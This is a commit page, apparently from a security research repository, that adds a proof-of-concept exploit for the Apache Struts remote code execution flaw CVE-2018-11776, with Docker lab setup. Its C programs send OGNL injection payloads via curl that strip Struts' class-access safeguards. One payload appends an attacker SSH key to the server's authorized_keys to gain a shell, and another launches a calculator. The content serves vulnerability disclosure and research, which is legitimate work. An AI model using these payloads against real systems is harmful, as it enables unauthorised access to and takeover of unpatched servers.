Skip to content

Commit ba2ce88

Browse files
committed
Merge remote-tracking branch 'semmle/master' into HEAD
2 parents c42c0a7 + fe5d5e3 commit ba2ce88

9 files changed

Lines changed: 402 additions & 0 deletions

File tree

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# Remote code execution in Apache Struts (CVE-2018-11776)
2+
3+
This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). The vulnerability was fixed in versions 2.3.35 and 2.5.17.
4+
5+
To demonstrate the PoC in a safe environment, we will use two docker containers connected by a docker network bridge to simulate two separate computers: the first is the Struts server and the second is the attacker's computer. The Struts server uses Struts version 2.5.16, which contains the vulnerability.
6+
7+
We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed.
8+
9+
Because we have Struts running in docker with no graphics, it isn't convenient to pop a calculator. So, instead, we will use the vulnerability to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify this PoC to do that.
10+
11+
## Network setup
12+
13+
Create a docker network bridge, to simulate a network with two separate computers.
14+
15+
```
16+
docker network create -d bridge --subnet 172.16.0.0/16 struts-demo-network
17+
```
18+
19+
## Struts server setup
20+
21+
Build the docker image:
22+
23+
```
24+
cd struts-server
25+
docker build . -t struts-server --build-arg UID=`id -u`
26+
```
27+
28+
Start the container:
29+
30+
```
31+
docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server
32+
```
33+
34+
Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access.
35+
36+
```
37+
./apache-tomcat-9.0.12/bin/catalina.sh start
38+
sudo service ssh start # sudo password is "x"
39+
```
40+
41+
At this point, you can check that Struts is running by visiting [http://127.0.0.1:8080/struts2-showcase](http://127.0.0.1:8080/struts2-showcase) in your browser. (We exposed port 8080 on the docker container.)
42+
43+
## Attacker setup
44+
45+
Build the docker image:
46+
47+
```
48+
cd struts-attacker
49+
docker build . -t struts-attacker
50+
```
51+
52+
Start the container:
53+
54+
```
55+
docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacker -i -t struts-attacker
56+
```
57+
58+
Inside the container, use `copykey` to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login.
59+
60+
```
61+
./src/copykey http://172.16.0.10:8080/struts2-showcase
62+
ssh victim@172.16.0.10
63+
```
64+
65+
We have a shell!
66+
67+
Alternatively, you can start a calculator like this:
68+
69+
```
70+
./src/startcalc http://172.16.0.10:8080/struts2-showcase
71+
```
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y curl tmux emacs net-tools gcc ssh build-essential
5+
6+
# Create user account for the attacker.
7+
RUN adduser attacker --disabled-password
8+
9+
# Copy the exploit PoC into the attacker's home directory.
10+
COPY src /home/attacker/src
11+
RUN chown -R attacker:attacker /home/attacker/src
12+
13+
# Switch over to the 'attacker' user, since root access is no longer required
14+
USER attacker
15+
WORKDIR /home/attacker
16+
RUN cd src && make
17+
18+
# Create an ssh key for the attacker.
19+
RUN ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -q -P ""
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
all: copykey startcalc
2+
3+
clean:
4+
rm -f *.o copykey startcalc
5+
6+
copykey: copykey.o utils.o
7+
gcc -Wall copykey.o utils.o -o copykey
8+
9+
startcalc: startcalc.o utils.o
10+
gcc -Wall startcalc.o utils.o -o startcalc
11+
12+
copykey.o: copykey.c utils.h
13+
gcc -c copykey.c
14+
15+
startcalc.o: startcalc.c utils.h
16+
gcc -c startcalc.c
17+
18+
utils.o: utils.c utils.h
19+
gcc -c utils.c
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <fcntl.h>
6+
#include "utils.h"
7+
8+
int main(int argc, char* argv[]) {
9+
if (argc < 2) {
10+
printf("usage example: http://172.16.0.10:8080/struts2-showcase\n");
11+
return 1;
12+
}
13+
14+
const char* url = argv[1];
15+
16+
// Scratch buffers for building the curl command line.
17+
char scratch1[2048];
18+
char scratch2[2048];
19+
char scratch3[2048];
20+
char cmd[4096];
21+
22+
// First OGNL payload, which we need to urlencode and send to the Struts
23+
// server with curl.
24+
const char* url1 =
25+
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
26+
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
27+
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl."
28+
"OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))."
29+
"(#ognlUtil.setExcludedPackageNames(''))}";
30+
31+
// urlencode the first payload and send it to the Struts server.
32+
urlencode(scratch1, sizeof(scratch1), url1);
33+
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
34+
system(cmd);
35+
36+
// Second OGNL payload. We need to paste our ssh key into the middle of
37+
// this string and urlencode it.
38+
const char* url2A =
39+
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
40+
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context."
41+
"setMemberAccess(#dm)).(#sl=@java.io.File@separator)."
42+
"(#p=new java.lang.ProcessBuilder({'bash','-c','echo -n \"";
43+
const char* url2B =
44+
"\">>\"$HOME\"/.ssh/authorized_keys'})).(#p.start())}";
45+
46+
// Load our ssh key.
47+
const int fd = open(".ssh/id_ed25519.pub", O_RDONLY);
48+
if (fd < 0) {
49+
printf("Could not open id_ed25519.pub\n");
50+
return 1;
51+
}
52+
const int r = read(fd, scratch1, sizeof(scratch1));
53+
if (r < 0) {
54+
printf("Could not read id_ed25519.pub\n");
55+
return 1;
56+
}
57+
scratch1[r] = '\0';
58+
59+
// Escape any slash characters in the ssh key, to stop Tomcat from
60+
// intercepting them.
61+
escape_forward_slash(scratch2, sizeof(scratch2), scratch1);
62+
63+
// Escape the slash characters in url2B.
64+
escape_forward_slash(scratch3, sizeof(scratch3), url2B);
65+
66+
// urlencode the second payload and send it to the Struts server.
67+
snprintf(scratch1, sizeof(scratch1), "%s%s%s", url2A, scratch2, scratch3);
68+
urlencode(scratch2, sizeof(scratch2), scratch1);
69+
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
70+
system(cmd);
71+
72+
return 0;
73+
}
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <fcntl.h>
6+
#include "utils.h"
7+
8+
// NOTE:
9+
// This exploit will not normally work if Struts is running in a docker
10+
// container, because you cannot pop a calculator from inside docker. There
11+
// are two ways to solve this problem. The first solution is to pass the
12+
// following extra arguments on the `docker run` command line, to enable X
13+
// applications to run from within the container:
14+
//
15+
// ```
16+
// -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix
17+
// ```
18+
//
19+
// The second solution is to run Struts outside of docker. The easiest way
20+
// to do this is to follow the instructions in the README for building
21+
// Struts in docker. Then just copy the tomcat directory out of docker. To
22+
// do that, start docker like this:
23+
//
24+
// ```
25+
// docker run -v `pwd`:/home/victim/temp -i -t struts-server
26+
// ```
27+
//
28+
// And inside docker, copy the tomcat directory into `temp` which is mapped
29+
// to the directory that you started docker from:
30+
//
31+
// ```
32+
// cp -r apache-tomcat-9.0.12/ temp/
33+
// ```
34+
35+
int main(int argc, char* argv[]) {
36+
if (argc < 2) {
37+
printf("usage example: http://172.16.0.10:8080/struts2-showcase\n");
38+
return 1;
39+
}
40+
41+
const char* url = argv[1];
42+
43+
// Scratch buffers for building the curl command line.
44+
char scratch1[2048];
45+
char scratch2[2048];
46+
char cmd[4096];
47+
48+
// First OGNL payload, which we need to urlencode and send to the Struts
49+
// server with curl.
50+
const char* url1 =
51+
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
52+
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
53+
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl."
54+
"OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))."
55+
"(#ognlUtil.setExcludedPackageNames(''))}";
56+
57+
// urlencode the first payload and send it to the Struts server.
58+
urlencode(scratch1, sizeof(scratch1), url1);
59+
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
60+
system(cmd);
61+
62+
// Second OGNL payload. We need to paste our ssh key into the middle of
63+
// this string and urlencode it.
64+
const char* url2 =
65+
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
66+
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context."
67+
"setMemberAccess(#dm)).(#sl=@java.io.File@separator)."
68+
"(#p=new java.lang.ProcessBuilder({'bash','-c','xcalc'})).(#p.start())}";
69+
70+
// Escape any slash characters in the ssh key, to stop Tomcat from
71+
// intercepting them.
72+
escape_forward_slash(scratch1, sizeof(scratch1), url2);
73+
74+
urlencode(scratch2, sizeof(scratch2), scratch1);
75+
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
76+
system(cmd);
77+
78+
return 0;
79+
}
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
#include <string.h>
2+
#include <stdio.h>
3+
#include "utils.h"
4+
5+
// Replace / with '+#sl+'. This is needed to sneak / characters past Tomcat.
6+
// It is based on the assumption that the string will be enclosed in
7+
// single quotes.
8+
int escape_forward_slash(char* dst, size_t dstlen, const char* src) {
9+
for (;; src++) {
10+
const char c = *src;
11+
if (c == '\0') {
12+
if (dstlen < 1) {
13+
return -1;
14+
}
15+
*dst = '\0';
16+
return 0;
17+
} else if (c == '/') {
18+
if (dstlen < 7) {
19+
return -1;
20+
}
21+
memcpy(dst, "'+#sl+'", 7);
22+
dst += 7;
23+
dstlen -= 7;
24+
} else {
25+
if (dstlen < 1) {
26+
return -1;
27+
}
28+
*dst = c;
29+
dst++;
30+
dstlen--;
31+
}
32+
}
33+
}
34+
35+
int urlencode(char* dst, size_t dstlen, const char* src) {
36+
for (;; src++) {
37+
const char c = *src;
38+
if (c == '\0') {
39+
if (dstlen < 1) {
40+
return -1;
41+
}
42+
*dst = '\0';
43+
return 0;
44+
} else if (('a' <= c && c <= 'z') ||
45+
('A' <= c && c <= 'Z') ||
46+
('0' <= c && c <= '9') ||
47+
c == '-' || c == '_' || c == '.' || c == '~') {
48+
if (dstlen < 1) {
49+
return -1;
50+
}
51+
*dst = c;
52+
dst++;
53+
dstlen--;
54+
} else {
55+
if (dstlen < 3) {
56+
return -1;
57+
}
58+
sprintf(dst, "%%%.2x", c);
59+
dst += 3;
60+
dstlen -= 3;
61+
}
62+
}
63+
}
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
int escape_forward_slash(char* dst, size_t dstlen, const char* src);
2+
int urlencode(char* dst, size_t dstlen, const char* src);
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
openjdk-8-jdk git curl zip unzip \
6+
tmux sudo emacs maven openssh-server net-tools x11-apps
7+
8+
ARG UID=1000
9+
10+
# Create a non-root user account to run Struts.
11+
RUN adduser victim --disabled-password --uid $UID
12+
13+
# Grant the 'victim' user sudo access, so that we can start sshd.
14+
RUN adduser victim sudo
15+
RUN echo "victim:x" | chpasswd
16+
17+
# Switch over to the 'victim' user, since root access is no longer required
18+
USER victim
19+
WORKDIR /home/victim
20+
21+
# Create an ssh authorized keys file. Systems administrators would add their
22+
# public key to this file so that they can login remotely with ssh.
23+
RUN mkdir -m 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
24+
25+
# Get Struts source code.
26+
RUN git clone https://github.com/apache/struts.git
27+
28+
# Checkout vulnerable version.
29+
RUN cd struts && git branch struts_2_5_16 STRUTS_2_5_16 && git checkout struts_2_5_16
30+
31+
# Remove namespace from configuration file.
32+
COPY struts-actionchaining.xml /home/victim/struts/apps/showcase/src/main/resources/struts-actionchaining.xml
33+
34+
# Build Struts.
35+
RUN cd struts/apps/showcase && mvn clean package -DskipTests
36+
37+
# Get Tomcat.
38+
RUN curl http://mirror.ox.ac.uk/sites/rsync.apache.org/tomcat/tomcat-9/v9.0.12/bin/apache-tomcat-9.0.12.zip -O
39+
RUN unzip apache-tomcat-9.0.12.zip && rm apache-tomcat-9.0.12.zip
40+
41+
# Deploy the webapp.
42+
RUN cp struts/apps/showcase/target/struts2-showcase.war apache-tomcat-9.0.12/webapps/
43+
RUN chmod 755 apache-tomcat-9.0.12/bin/catalina.sh

0 commit comments

Comments
 (0)